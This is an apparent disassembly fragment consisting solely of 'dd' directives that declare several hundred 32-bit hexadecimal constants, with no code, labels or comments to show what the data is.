		dd 0ABD830FFh, 477E81C2h, 0E9E200BAh, 71002515h, 1EB8CA7Dh
		dd 7782AA1h, 858D4E31h,	75CF306Dh, 8F0EBF0Ah, 2069909Fh
		dd 706C9724h, 113102B9h, 7D951982h, 0DE05C881h,	102D69h
		dd 6B6F4D1Ch, 5CCBFE3Eh, 95005206h, 1D650DBAh, 481D86D4h
		dd 3C054B59h, 0A780F355h, 0F0FFBBF2h, 1D380014h, 32EF6C2Dh
		dd 361FEB20h, 6EC17AA6h, 0DD506768h, 0BD605FEEh, 9FF8A555h
		dd 0D9DAAF00h, 682E589h, 0F2AE0194h, 0DD3DF93Ah, 0DC4CE9EDh
		dd 760F5C60h, 0AEC0D713h, 1CC092Fh, 0A685464Ch,	1C92B2E0h
		dd 75FA1B4h, 70A8B7FBh,	0CCE079Ch, 0B2720500h, 4E748261h
		dd 8751C01Ch, 6B59FBA0h, 0C51A7D00h, 450E5A53h,	3D7AFDh
		dd 2F3F4F8Fh, 0C4AF1E6Fh, 0C2033600h, 2318341Ch, 0A3803E71h
		dd 0DE2D9480h, 86C3D445h, 5B31B800h, 6D7CC2FFh,	640F006Ch
		dd 362E4817h, 7B00297Ah, 43C8CB9h, 0EA7D634Ch, 8B140005h
		dd 8A4EAC86h, 2A00C75Bh, 16FA3F70h, 5CD3071h, 0BE0DB63h
		dd 26CBCE6h, 2DA9BA57h,	2458E3h, 0CA3B4B07h, 0C734E6FAh
		dd 0A3CD38h, 2563214Eh,	0A0A281A6h, 0DF2CF4h, 0BC877A12h
		dd 8238BEFh, 8D821303h,	97ED7Eh, 0B7947511h, 0E1DBBEAh
		dd 8B7BBD3Eh, 8141858Ch, 0F7B1D4EDh, 0EB268985h, 2C28E04Fh
		dd 331EA90Fh, 7920223Fh, 0E98185CCh, 8AD41005h,	0B8761C00h
		dd 7475472Fh, 212CAE88h, 0D200D67Ch, 0CC47D85Fh, 0E6D7006Fh
		dd 94546602h, 7E00E4D4h, 3AA8FAABh, 3350629h, 0B33111Ah
		dd 480149EFh, 222F9074h, 28408FF8h, 2C329Bh, 0BCEB1B31h
		dd 0F42BCC44h, 60CE4032h, 0D65CB078h, 32F71BE2h, 0E0C6D847h
		dd 0F29230Ch, 532070h, 0FC6D268Ah, 94DCC2A8h, 550BE900h
		dd 50D97817h, 441100E7h, 0F3A23BA0h, 0A90F10AEh, 331139Bh
		dd 0F84FF21Ch, 0E1E8D5h, 8DFDD1A7h, 0B732CEC4h,	3FF30400h
		dd 0CF03563Dh, 235C0BA1h, 90D12FD7h, 408A155Eh,	0DD0094ACh
		dd 0B3FD5ABBh, 503BEECEh, 72700793h, 8137AC2Dh,	0F9DEC8C0h
		dd 6B543E61h, 5EE979FCh, 0BA87A080h, 2CEB3D28h,	0D57D4606h
		dd 21505D4Bh, 0FC02E6D6h, 0E857D0BAh, 2848A884h, 7C8C3CE4h
		dd 0ECCA0036h, 0C65E52A1h, 5F00D492h, 0A237FC7Fh, 0CF4D2CEEh
		dd 6014BB61h, 0CA0C3622h, 5963ECEBh, 34E02C0Dh,	0A8C401B1h
		dd 4C7F414Bh, 0B9405470h, 325D1DC8h, 23AA0322h,	0E88EB825h
		dd 723F44h, 9C245F6Eh, 0F79BD6B0h, 70CFBA11h, 0D1BC5405h
		dd 244C6050h, 32031541h, 4AA8F69Dh, 0A300A4EEh,	0A5ECEF20h
		dd 0AF0C94A4h, 0A9C2D035h, 757818EAh, 0C8343844h, 18C34730h
		dd 0F03184ECh, 90D650E2h, 78FC0C0Dh, 8349A4EBh,	9CEF2400h
		dd 4F902FEAh, 8386622h,	6203217Ah, 4CE1EF2Dh, 25BE02Ch
		dd 0D0F30C85h, 7350DFA2h, 91A42151h, 22803E58h,	1FEA9EEFh
		dd 6480448Ch, 0D8EF2B00h, 0D4E61D2Ah, 0C6362E8Bh, 29803CC3h
		dd 0E999080Bh, 0D5093D83h, 8958FCh, 90EF1224h, 0A4FD5282h
		dd 3784A30Fh, 5D48A981h, 0AA804062h, 0E75026E0h, 58C7978h
		dd 0EA9DEF21h, 654C2827h, 3EF2A00h, 4CCE607Ch, 5CCD3006h
		dd 0FAAC1170h, 0A8D0FE12h, 0EEEC7040h, 7AA49Fh,	60E8A720h
		dd 0E501E250h, 3E5FC400h, 69ECBA6Ch, 6A161E2Ah,	43200A6h
		dd 802E29D2h, 99F89D00h, 8536E997h, 4B310052h, 4396C1F6h
		dd 0F93B53ECh, 0A8BA80A5h, 94887783h, 11D86857h, 2F53F804h
		dd 85108760h, 3033110h,	258F7232h, 2B3FF94h, 0CB3978D0h
		dd 733E1900h, 0DF722201h, 0F89871h, 0F9E989A9h,	0A7929E91h
		dd 0EF73B400h, 947ADCC7h, 0EED10382h, 8AA85966h, 0B95802D0h
		dd 8EADA100h, 0FE5F8BF4h, 347274h, 2319F320h, 7184DF64h
		dd 3E887200h, 0CA9DCFD1h, 0CE1800C4h, 0CBED4FC8h, 14247121h
		dd 100E1F1h, 0EC2DE725h, 38801C35h, 5F1181EBh, 0CCCDD460h
		dd 23005486h, 35C4A245h, 284E8299h, 0C1B52DF2h,	0B978CB58h
		dd 935D70C0h, 0A204CE70h, 7B83F843h, 0A8D28880h, 0D470BECh
		dd 80FF061Dh, 18D3A1BBh, 6DFA002Eh, 0E430CE36h,	2800AED0h
		dd 0EEFFDFF7h, 2B04390h, 0A5643374h, 76C0CB40h,	0E80EF68Bh
		dd 4031FF8Ah, 0F7985D80h, 0F8580085h, 0FD26EBE3h, 6037091h
		dd 527FE193h, 0F774C812h, 420900DCh, 0A2C89FE8h, 0D03C1686h
		dd 7DD68031h, 0B5CE59A9h, 9C875070h, 0B8BE3B99h, 37818EBCh
		dd 77B1C209h, 1904D417h, 0EF0C2400h, 4CD25684h,	0B22700BBh
		dd 3013F2B0h, 0CE00AF66h, 6F3EEAB8h, 81AAF9h, 8722AB9Ah
		dd 0C5A355D4h, 0D560CF00h, 98DF0453h, 231701D6h, 302C96Fh
		dd 5FBFDC65h, 191A001h,	0A52A7AAAh, 6093C8h, 8DB47CFh
		dd 0FB3CE8B2h, 9F6B8700h, 0B8B710E5h, 324C166Ch, 9DE9003Dh
		dd 26F834EFh, 0F0E08700h, 2D8E59B5h, 78463A4Bh,	0E8E93818h
		dd 0A004761h, 62160C10h, 50EAE729h, 1E0F9842h, 70897E85h
		dd 0A2139A28h, 0EDF0D400h, 31DB2E7Bh, 7187821h,	73E2FC5Eh
		dd 40FE0F3Fh, 1BD6B16Fh, 90042B6h, 5A16DC27h, 19B4FE3Ch
		dd 61F38C46h, 0E480DA1Ch, 0D62C4B01h, 0E91DC700h, 3F0A656Eh
		dd 166F00C9h, 457767B7h, 8C3BE84Eh, 23D900CDh, 1F36FC68h
		dd 0FF48C076h, 0A04DA967h, 1126D300h, 69AD8C07h, 0E10609CBh
		dd 0B580325Ch, 2DD59E86h
		dd 668D6A00h, 12DCE941h, 0BE7E0004h, 0D703D0B1h, 0F538B529h
		dd 0F3FC0037h, 63A5C4C9h, 3BB97EE8h, 2D9209A8h,	49F84171h
		dd 20552197h, 0DB0407E0h, 0E5F2574Fh, 0B8D0A587h, 16D81D16h
		dd 9A3759h, 4BA9441Eh, 0B300CFB2h, 5EEF64A5h, 808A01h
		dd 81467EA3h, 9450D69Ch, 1CBA1101h, 592234DBh, 0DDF9288Eh
		dd 402D12F3h, 0E5334838h, 0BE033B02h, 0F98FC554h, 0DDA6E06Ch
		dd 0FC9268h, 0F71E3691h, 8DF05101h, 0BF00B3EEh,	39D99383h
		dd 3089FB57h, 0E5CA2E0Fh, 9E00E8EAh, 46101FC2h,	9045CECAh
		dd 4EF00ECh, 2C1A90DEh,	11037A3Ch, 627D1222h, 958FD872h
		dd 0C31D00D5h, 285BC07Fh, 0EC0088A7h, 0D112C71Ah, 28FD8754h
		dd 0D4178Ch, 0E33F6731h, 10BF3AF1h, 8F032500h, 0B7B43BAEh
		dd 33887A05h, 0B5780E8Ch, 9C89FDA0h, 0ECF594A8h, 0F6E88200h
		dd 8C212A32h, 20470051h, 74D2E006h, 800F6EE6h, 0C7A688C7h
		dd 1A30781Ch, 0A2579CDh, 0C34A4DD2h, 586B02E8h,	59C00816h
		dd 0A5009CC6h, 0C199B7Dh, 7CBA7BE3h, 54B3039Dh,	0F579FF21h
		dd 0D4FAD8C8h, 269FE600h, 14678AB0h, 45B51294h,	95342008h
		dd 8303216Bh, 544E80B7h, 3284B08Eh, 98D005Ch, 112C43D3h
		dd 40000FBDh, 6B2DA191h, 3906F8AAh, 7238C350h, 60A72680h
		dd 981BFE19h, 0CA955F07h, 0A4702B66h, 76BA682h,	0C0729C77h
		dd 6FBFC003h, 0D90053D4h, 4D19FA76h, 29A56Bh, 0CC93C212h
		dd 0CA489A4Fh, 836FE002h, 60DEA813h, 436147Ah, 424403ADh
		dd 0F105818Bh, 0B23830E0h, 1CCA48h, 1DFFD8DBh, 1749Ch
		dd 6CFE6F66h, 760C1416h, 7AF65D16h, 50ADB101h, 5D4C557h
		dd 0D4100068h, 0DADC36CEh, 0CA5CC132h, 0FC482889h, 0BC27F000h
		dd 0E634FEFBh, 1953606Ch, 0AFC82BFCh, 0F1EC48h,	3346F8C7h
		dd 1CE5243Bh, 0E4DAE47Dh, 892A0078h, 0FC1CE851h, 0C697A705h
		dd 0CB86A8Ch, 988A3C0Eh, 5F5BDD60h, 34374192h, 0B281C885h
		dd 706013A1h, 0C2620F7Ch, 3AEE1790h, 0B38FB700h, 0BA243E01h
		dd 5B0038A6h, 0B9DFC5A8h, 0CBE0001Ch, 9461D203h, 47009B56h
		dd 7E5DE2CCh, 36BDAC8h,	747951E5h, 0F5984CD5h, 0CA018FA2h
		dd 0DD05845Bh, 0C02A5385h, 30AB25FFh, 665E84Ch,	7015361Fh
		dd 9FB900F8h, 6E39F3A3h, 0D360D095h, 0D55E79B0h, 63221D1Bh
		dd 4F7A4011h, 951210E6h, 0FBB2A500h, 0A2966116h, 0BAB707F8h
		dd 0B0663ADCh, 0E94A8DC7h, 245BEC24h, 4E931500h, 1DE257E4h
		dd 0C0AEF151h, 0BEAF2970h, 9B4CA237h, 0AC8E0230h, 5B1442h
		dd 2C4E2BBBh, 9056C944h, 0C37090h, 69A8757h, 0B801F15Fh
		dd 3D391700h, 0FCA2970Bh, 730C1732h, 0B640430Dh, 99A0A69Eh
		dd 0AE31709Fh, 69CA19A1h, 4C240A71h, 0DF5C0777h, 0C0B7B807h
		dd 57BFFD4Dh, 67C45454h, 0CE08AE00h, 6413A9DBh,	2820FC3Ah
		dd 0FAB05328h, 435C0161h, 0BA2D6BEEh, 9D1BF09Eh, 8F13C2F0h
		dd 0DD00CF18h, 4D94625Fh, 672300BFh, 3C958051h,	0B3091BB7h
		dd 801F8E74h, 0A9F778E0h, 0E59400CCh, 2310C027h, 602ED521h
		dd 38005C42h, 8EAA5024h, 11A6017Ah, 96127E48h, 0D7243094h
		dd 0E4420C01h, 0CE8F7CAAh, 1A206D0h, 0D9FCC034h, 0D462D1EAh
		dd 96F0F939h, 0A365F8C0h, 97ED57FEh, 0D40E1950h, 8005E450h
		dd 431CC9A1h, 68EB36B8h, 0D60630AEh, 5BD89F60h,	0BDC40341h
		dd 97463B7Bh, 546F1000h, 2811C2C0h, 129F30B8h, 4EC9BB19h
		dd 16C76E03h, 0E8397A50h, 0B2B2E5BAh, 0EFAD065Ch, 90315533h
		dd 3AAC3B02h, 0A09AD423h, 0C24D538Ch, 620C0303h, 0AD74E188h
		dd 9FC343B0h, 0E20AB4F6h, 0D8E97334h, 3AE39280h, 0D4EF2Dh
		dd 8E41EC39h, 0E055A1A2h, 3220D609h, 16C82325h,	8AD9C889h
		dd 0AD0300AFh, 0EF905618h, 4003241h, 0B152D253h, 168E592h
		dd 0A2140530h, 801C9A9Eh, 7F48BB68h, 0C01D8F11h, 450DD810h
		dd 0DC007AD6h, 0D307EAAAh, 1D24FE90h, 8074BE66h, 0AF8570B2h
		dd 2003E0ABh, 42B05A38h, 2E2D988Fh, 937D006Fh, 0E484A834h
		dd 85FA3372h, 0EAF00C7Eh, 9E001C72h, 0F9E1BCB9h, 98615BC9h
		dd 8B6B00FEh, 8D209A04h, 0EC00CFDCh, 0C81B2CBAh, 2A1AD1h
		dd 8C3E174Bh, 0C463900Ch, 0B997BC1Ch, 5C92FA4Eh, 3283FB00h
		dd 0EDC37h, 0CF7138EBh,	0E466D951h, 0C1E83E01h,	0B3BCE04Ch
		dd 3D1ECD4h, 76F70B98h,	861734F6h, 0EEF310h, 0C620C2A2h
		dd 7C796DA3h, 16A0A200h, 0D6E1923h, 95640027h, 0FC02862Ah
		dd 0FE00AD6Ch, 0E7828B7Ch, 3AC6CEEFh, 70800BE3h, 85BF68Dh
		dd 31C0A82Dh, 1BDC4BB5h, 0A58F1ECFh, 48168082h,	0DF8D3C4Fh
		dd 1300F6E0h, 5A21118Ah, 0C2E545h, 75DB03B1h, 55322996h
		dd 671EA701h, 23AD9825h, 4AD2C080h, 5B601511h, 0DF3BB900h
		dd 0B8E79119h, 0D5323079h, 77150DDCh, 2800C8E6h, 54C4C2ADh
		dd 0F8D8F4h, 7F518779h,	0FA7BF6EAh, 17258300h, 2D80D39Fh
		dd 1D27552h, 0BA2ED9B6h, 803B3201h, 0E5199C8h, 0DC1963h
		dd 0D8407E6Fh, 9BE3BEF9h, 0B400FE71h, 54A1E5B6h, 1F98A261h
		dd 0D9A48CEFh, 0CC734114h, 0EC00EA87h, 5F7F9934h, 647B21Eh
		dd 9CC26E8Fh, 0F373F028h, 0E6953500h, 0BC3FCFF8h, 1F67ECF2h
		dd 16894FBh, 0A697286Ah, 0CF8440BEh, 181C163Dh,	71004E65h
		dd 9D03152Ch, 99230C0Ah, 7A90B513h, 8347F11Fh, 0D1FD5E80h
		dd 61F7D4Ah, 48564273h,	9F0078DFh, 0F50ACEF2h, 0B83F6B13h
		dd 749D00B1h, 69920EA0h, 3D00BA5Ch, 498BA8E3h, 0AB5FA6h
		dd 0AD9F6BB5h, 0E185B307h, 0EA006DE2h, 700CAAC1h, 0E8C7417h
		dd 15D37A43h, 5F6B00F2h, 20E7FE5Dh, 0ABC2DF00h,	0D641F3F8h
		dd 0A0D20048h, 0EBC98587h, 0AA00A6F4h, 6C2A1EFDh, 0ACAB80h
		dd 0D23695BEh, 0FF0CBCD1h, 0FEB9A300h, 310E794Eh, 4AF00B26h
		dd 238153CCh, 0F0DB9BC4h, 5B1C945Eh, 348384F9h,	0DF1EF70Ah
		dd 0A05A0670h, 0F2713E54h, 1E431413h, 2C5E70h, 0C6EA4B78h
		dd 3E006330h, 7FB8BA40h, 0A0676D9Dh, 7ECBD494h,	75282689h
		dd 50730067h, 0A4BBD2DDh, 74985098h, 8342B53Bh,	0B0483D4Ah
		dd 9F7DF1D0h, 1812BC0h,	0CFC47BABh, 0F0504C83h,	8A1294F2h
		dd 0A9001268h, 4BA14DCAh, 79300F18h, 0DE806098h, 0FAE07641h
		dd 0BF237C00h, 0E4FD91B7h, 8E5A07B2h, 51E19F71h, 20685221h
		dd 317EB934h, 569AD702h, 82E31189h, 807140E0h, 21CA44D8h
		dd 828C04CCh, 0D08B251Eh, 537D9218h, 94E032E4h,	5D81DB00h
		dd 73AB85AFh, 0EA3DF09Ch, 110A00CAh, 411A4EEDh,	0B900FE9Dh
		dd 7933C4E3h, 4858F71Fh, 1400935Fh, 1B3B4718h, 57F204B6h
		dd 0AACD1D00h, 0C486A163h, 39C8751Eh, 0CF00406Ch, 67C7022Bh
		dd 93008EC2h, 43DD9A7Ch, 29AB08h, 0B1068803h, 5359816Ch
		dd 91771D26h, 0BCCE3100h, 1F1CC0Fh, 8A8CF062h, 0F891E98Bh
		dd 780EA650h, 0C0E5E731h, 0D8D02358h, 948B0127h, 0FA704AC6h
		dd 0A348831Ch, 8860E931h, 64740A1h, 0BE7D3EA6h,	51F50F3h
		dd 0DDC3F695h, 0F8D6C957h, 75C609h, 679F373h, 0F5FF61A8h
		dd 0E3857A00h, 5B6F1D15h, 166C0376h, 694672EEh,	790E8CA0h
		dd 0A6C3CB00h, 6DFA2163h, 3441005Ah, 7D46AE2Fh,	420A852Ch
		dd 0D0B412FCh, 2DA9DE03h, 0A42780BEh, 92D6C0D5h, 0FDA70254h
		dd 7E247500h, 80293228h, 0F38AC02Eh, 2FC8B7B5h,	0D3B88D00h
		dd 0C98B195Dh, 27D1004Dh, 64AF39E1h, 0F09F2F44h, 1CA70087h
		dd 0E0C719E5h, 1F032816h, 558F3735h, 611E998Bh,	2565F4h
		dd 6F480410h, 892632C0h
		dd 3C934700h, 8FAC3651h, 12C900D8h, 0E7A68685h,	353CB21Ch
		dd 47E4810Fh, 0D9660550h, 6CD4820h, 0F9CB7A1Dh,	180010DBh
		dd 0C688C361h, 0A4CE57h, 0CC2250DAh, 0EB43F19Fh, 0CF003CF8h
		dd 48D45E53h, 0AF54B3h,	0AEC1324Eh, 0B93B8429h,	0CEFB770Bh
		dd 49F38060h, 7FA8401Eh, 0C3AA0062h, 0B9C13CB1h, 6600F7F4h
		dd 68E7E279h, 0C992AEh,	1E19A893h, 0B8600289h, 8C94D903h
		dd 0C8990A14h, 286D146h, 6273A35Fh, 9C606645h, 0AA0232C3h
		dd 0ADE8DC24h, 1105CE7h, 2199C7A5h, 2815F8ECh, 3FF5CD00h
		dd 7990CB51h, 0B4B71DFBh, 204F00C9h, 5B35EE78h,	0A30303FEh
		dd 92FB85Ch, 9FE1E0C5h,	19976015h, 7BF7053Eh, 5517EE1Ch
		dd 2B770440h, 0E711B30h, 6EB464F5h, 8856C6C0h, 4D00FC8Fh
		dd 0E8BAC79Fh, 52A4F3h,	0AD3C2F15h, 0F4DA8859h,	82C6458h
		dd 331944Ah, 99491D2Ah,	0B7FC92A8h, 2BD22000h, 817E18Fh
		dd 67B101B9h, 0AD26ABACh, 73EDD840h, 17C4B050h,	6085143Dh
		dd 0A17CEC58h, 8BB500EAh, 979D9269h, 0A700E929h, 0F6C32F16h
		dd 3BC85447h, 910FC293h, 1120A5C1h, 41826C1Ch, 1A01677Eh
		dd 0ACB4250Eh, 62D42C63h, 93A4002Fh, 6772386h, 0F03D617Fh
		dd 0A39800EFh, 0FE7C880Ah, 6B0E0009h, 0E1D4B763h, 8A0252D7h
		dd 0E50F6475h, 0C5586189h, 402F024h, 0D6D55478h, 0F8688040h
		dd 14008505h, 0C8AD8EAh, 3D8FA792h, 340ED272h, 82602923h
		dd 0F11D7FADh, 0F5489B00h, 6DEE6E9Ah, 0CB05240Eh, 0E7F8379Dh
		dd 4500DFDFh, 0EAB14FE9h, 0F6A27100h, 957493EDh, 8C6800E2h
		dd 82FF4EF9h, 0BB005524h, 872AE53Dh, 6918B7h, 5316B56Dh
		dd 0E13BCE34h, 363BEF7Eh, 60BE003Ch, 4584DCDAh,	21320E55h
		dd 0C24E2457h, 4F716C00h, 3CB8411Dh, 913D1F00h,	0F7DFBD0Ah
		dd 68C100FBh, 6D924EBEh, 0A9E432DBh, 6E73EF00h,	0D787551Fh
		dd 90C04838h, 50CE7C00h, 2F0CB2ABh, 40002498h, 3843AEE7h
		dd 0C29913h, 4824C7ECh,	97EEB156h, 0FB5EFA00h, 0CA3EA906h
		dd 0CA3034Fh, 44614D8Bh, 2950888h, 0EA541700h, 0F799F02Eh
		dd 181E0288h, 0C99CAF75h, 4B845040h, 0B1CB620Bh, 87D838B8h
		dd 58290071h, 6A73069Ah, 3D398620h, 0BE05FB99h,	123CF4Ah
		dd 40B4B181h, 9620C4h, 0E08C5014h, 0EF7980BFh, 30756E0h
		dd 22F23710h, 0CA40E08Ah, 46B0DEh, 0B6E99D7Ah, 7E18C7A3h
		dd 7D3AEC00h, 82D8D7E0h, 0F7250ED0h, 0C01EF575h, 2F1C0B50h
		dd 98B09635h, 6716F800h, 0AB158AC1h, 90B065h, 47100B99h
		dd 0E8F9D66h, 834B9A0Bh, 68CB8033h, 70D72Eh, 19A097CCh
		dd 0DFF9C42h, 46E5110Eh, 0A59A4022h, 17FE2C07h,	62E2B21h
		dd 11280170h, 0AE8D3101h, 5BF0FC7Ah, 8A3CDCh, 82C1F9D5h
		dd 0CA30E0B9h, 0C3092C0Fh, 18001654h, 40013696h, 47A9002Fh
		dd 42CF978h, 10A069C3h,	40607C34h, 0D9C2BDD1h, 0DACB3A8Fh
		dd 0A0C830Dh, 0F1AAE118h, 8345ED99h, 0EB2D4CC6h, 367000DEh
		dd 2EFA4027h, 153A6067h, 0B55860F9h, 85CB98h, 234CA32Ch
		dd 6AC147B1h, 40DEB903h, 0D9E064CAh, 1840F415h,	3AA03E6h
		dd 0F2605F3Ah, 0F0A3B702h, 498D6100h, 0B4971BB5h, 5ECD0076h
		dd 0AE43A247h, 157A24B6h, 80143F3Ah, 27E659BBh,	15B48DEh
		dd 1F09F806h, 3062D3FFh, 87FCFCC8h, 0C2B5AB01h,	410B72DBh
		dd 39B6B9C4h, 397B6DA6h, 0F800AE4Ch, 0F9322B69h, 0F20E4320h
		dd 37316FC5h, 0B525E500h, 75BFD4h, 57461A8Ch, 2EECF03Bh
		dd 0FD119100h, 18A1A55Fh, 0AFCF0027h, 0E39D51E7h, 8D03DE19h
		dd 522859CBh, 9B6190DCh, 0C67800F5h, 9044E9AAh,	0D2AB47Ah
		dd 3B00885Fh, 0A2654A8Dh, 0B62BFBh, 815425EFh, 9C6DC385h
		dd 8767C00h, 15FF833Ch,	9D6830FBh, 1E873038h, 0DC5486F4h
		dd 5C0044ECh, 0ABA5C298h, 1F3EAF2Eh, 0C07A3499h, 6E9C6A43h
		dd 5C600DE5h, 4C56E379h, 37C81E22h, 0DF6BC08Ah,	7A7C6894h
		dd 0E85FF300h, 0CE18B825h, 33530084h, 34EFC295h, 13000472h
		dd 81C4A89Fh, 244592F7h, 9C34A221h, 321195h, 3C5F406Fh
		dd 221FCFDh, 25CD1E83h,	0A603A31h, 9718380Bh, 6B91DFB2h
		dd 0B92700A3h, 9BADCF65h, 7032AE8h, 0AA2CE640h,	15FBB8B2h
		dd 0BB1301FDh, 0BF5A0297h, 8DF98CCEh, 7EFD81A7h, 80080040h
		dd 832E9CC3h, 0F90006E9h, 0B9162234h, 602BEC6Dh, 2E5339B7h
		dd 0DB00DC13h, 8010CD84h, 3B2B017h, 3C390415h, 6E83798Bh
		dd 0E96A7000h, 70264801h, 0A210357h, 1AB3ABD7h,	4179EFC0h
		dd 11A2B131h, 0E7C313CBh, 630E9B80h, 0B5BB00A3h, 9FE91D65h
		dd 6C76A158h, 0C2CB7801h, 9BBA068Bh, 2990B231h,	74518439h
		dd 0E6429E48h, 21BD246Bh, 0DA12C641h, 89541810h, 44240891h
		dd 2284B6BDh, 75444F54h, 0F5320068h, 86B9B862h,	3DE23AE4h
		dd 0BEB06A00h, 2437E3C9h, 0D680013h, 43D4D610h,	49042A88h
		dd 3AD81FB4h, 0AE483AC0h, 98E61C5Dh, 795980F2h,	0E1FFA795h
		dd 53C5ED02h, 809C6328h, 0ADE1CD1h, 21720Bh, 7D2DB9B2h
		dd 0D7E8CDC1h, 0F239173Bh, 0A4151F00h, 66583376h, 57FC0135h
		dd 0BBEC0F72h, 30A2E8F7h, 1D90E500h, 0EB49C2Ch,	22D9003Dh
		dd 0CE4D5E59h, 4F00C954h, 0DABA3869h, 1238319h,	0D3E4FAA4h
		dd 60BE2618h, 3800C6CEh, 1A8B70A3h, 0DF4F3Bh, 8F90A2ABh
		dd 4324EA40h, 7D19C000h, 1FD214BFh, 877902EBh, 6099DBC3h
		dd 43FBFDC0h, 0E3976700h, 88212ADAh, 407D00A5h,	0B682CD9Ah
		dd 0EC0E899Ch, 0A08E38ABh, 0B30A12C6h, 862D0094h, 973DA4A9h
		dd 5D0BACFEh, 87A78AA6h, 20F16CEAh, 4B601D56h, 3DA7B803h
		dd 0C8803FF1h, 0CEC97B01h, 20061B42h, 84CD85F6h, 0F52C071Eh
		dd 49B7AD63h, 0A3B34403h, 0A92DDAD0h, 946E1D07h, 4DF03141h
		dd 0E45D5Ch, 152CC0FDh,	249FE3D2h, 0BE7A9E24h, 4B61D801h
		dd 43C8847Fh, 287200CCh, 57BCD6E7h, 0F11C1630h,	0B04080FDh
		dd 0D578B13Bh, 3C5A1D05h, 0C8FBC032h, 0A7F2FD7h, 0A0D08061h
		dd 1EC89BAEh, 90050083h, 0B785A3FAh, 0D130C193h, 2DD61924h
		dd 381118F8h, 913101Dh,	2A07B607h, 4210DC8Dh, 3714FAh
		dd 1004A012h, 0C69DB5E9h, 987D4500h, 0A3EB4B77h, 8E160068h
		dd 0E8FAC572h, 290E18F0h, 53D0A2Ah, 2AC59AADh, 0FDFF7D80h
		dd 1B6F0030h, 0E3E739BBh, 2C030D06h, 87B26805h,	238BEFBh
		dd 76F2691Ch, 0A8806FA1h, 61950B67h, 0B0AD9600h, 44DACCBFh
		dd 0B2920303h, 0B8357611h, 0D2D48788h, 0F2F5100h, 47D2E9Bh
		dd 1F6002Ah, 3832D522h,	0DF0065A0h, 5C6BC1EEh, 0D45091h
		dd 0F9CA4853h, 108CC590h, 0B15F9700h, 7FEB1373h, 3D741FB0h
		dd 0B8F0C09Bh, 0EE88DA96h, 14D84B02h, 402F5CA4h, 0CCFE50h
		dd 0EC6C19E1h, 5B8971FAh, 2D601E60h, 66F603h, 641D0E3Bh
		dd 204C732h, 0E2148900h, 61B959ABh, 0A579B5h, 0B82C938Dh
		dd 53347B3Fh, 0C890CBEAh, 21D1A71Fh, 90009212h,	9CE138A3h
		dd 7E561C26h, 0A10C00A2h, 0A727329Fh, 3EB02F1Ch, 0E0481F8Eh
		dd 0E2C94C31h, 0A86F6772h, 52C02E94h, 76711AB1h, 469BED0Ch
		dd 0EC58B3h, 277F2A09h,	0EF476B0Fh, 4264D700h, 9B906581h
		dd 0FE780E50h, 0C013B4BAh, 6B92A69h, 5A524B01h,	30E9E719h
		dd 6D1420h, 0F4335C9h, 85479A2Fh, 9CF3FC00h, 346E3068h
		dd 67AA015Ch, 0A8BD3C1Ah, 8A0020DBh, 3FEBE000h,	5581A9B9h
		dd 900490E7h, 6A776143h, 0E8DFB5EDh, 4E00EF6Dh,	9FA9BD35h
		dd 2153C89h, 0A7F57902h
		dd 76E3F04Fh, 570586F0h, 190012F6h, 17CAEC3h, 124E26Dh
		dd 23CAB3F7h, 0F15F2570h, 0C47A71D8h, 0B2009A82h, 0B0D0A722h
		dd 1F400554h, 2E49D4EFh, 2A166Ah, 0B643D833h, 58006D4Ch
		dd 0BA0D81E6h, 6E9599h,	0AB2C3759h, 1412480Bh, 171EBAB0h
		dd 8C89FD41h, 9CE002Dh,	2191DDh, 547589EDh, 0A9F8BADh
		dd 38957303h, 0E04EF729h, 0D80A9h, 48404B68h, 0BD32B536h
		dd 423FAA03h, 0D8289904h, 7D5DDC7h, 747679FFh, 3C80C95Ah
		dd 8C3FD0A1h, 0C1521E00h, 17D8A302h, 51260075h,	0D6A007CCh
		dd 7F168F15h, 34203923h, 0DFBDB2h, 301A2C63h, 0B496A906h
		dd 0B9212301h, 0A2B39DDh, 72E9430h, 36A3A716h, 80727462h
		dd 321CD90h, 7FCCA400h,	0D3A1FC28h, 0DF9C009Dh,	0CDBB561Bh
		dd 0D401D888h, 0D90103F4h, 4421BA3Dh, 338F720h,	7C6FF89Ah
		dd 56B80D8Bh, 0C8004F98h, 8EAC3D1Bh, 0B084B12Bh, 29AD0054h
		dd 0BE67D1D2h, 95F8626Dh, 66803109h, 0FA4A0EDh,	75A1085Bh
		dd 0E3378C2h, 4A31305Eh, 6FC05C2Fh, 17E345F6h, 0C763C300h
		dd 3E4DDACDh, 0E8C008Dh, 0BB5D9DD2h, 0D00F4630h, 0C0FBC071h
		dd 0B6C6814Bh, 1D847121h, 8031BC73h, 629CC15Ch,	90001EBFh
		dd 0ADE4B9F6h, 73EC4E45h, 8F4D0374h, 9D1B6EFBh,	1D0B4F90h
		dd 0A02F501h, 89A6A3F9h, 7B106834h, 67A5031Eh, 8EC71312h
		dd 0F78291A0h, 5F7770FFh, 0FBF35E00h, 0DD8496Fh, 6FA78h
		dd 25D622ACh, 0F3DCA139h, 7DB69D16h, 0C874804Ah, 0D6EEB003h
		dd 0A7E2F888h, 8B60998h, 0F0008C41h, 2CD02734h,	104CB00h
		dd 96FCFBEEh, 0B7C20070h, 0E0BCF62Bh, 9F735028h, 2AFAC37Bh
		dd 49836416h, 315A3003h, 44FE981Ch, 98BF0079h, 5073EFFAh
		dd 60099E1h, 0A79136CCh, 176A91Ah, 89620330h, 42AD8C42h
		dd 0D8603BF2h, 411C69C6h, 5580AE5Bh, 0F17439FBh, 0BDA6175Fh
		dd 0F0400022h, 0BE830AFDh, 0CB9E0500h, 0C7D2328Ah, 4AB1F05Bh
		dd 708AACD3h, 9CDB0E01h, 804DDE8Bh, 95D91F8h, 62306326h
		dd 8420A700h, 6D0033F7h, 0E6482F6Eh, 5C275CAh, 0B59960E4h
		dd 0AEC0C073h, 241DBEF0h, 1BC021C6h, 7C87F329h,	3F6D070Ch
		dd 0B04B030Ah, 1802A576h, 0F530D200h, 6BCB0FC4h, 1E8606EFh
		dd 2C16319Dh, 0B4008FEAh, 0CFE3F933h, 87EE5Bh, 0C4B2AC23h
		dd 84126EB6h, 3F07A092h, 5F6B2D9Eh, 81E5C3C2h, 44E752A4h
		dd 20F3F8EBh, 7C311E77h, 0C0308FC8h, 32BDE300h,	0B6002526h
		dd 47E5579Fh, 1AB7FDh, 0E46D7170h, 68F8F799h, 0AE7C0D3Ch
		dd 0EF0090F0h, 67771C6Bh, 1EC300EEh, 0C287D269h, 0A09DFA2h
		dd 83CC2A58h, 12A598ACh, 7900798h, 40D99D41h, 230B7C84h
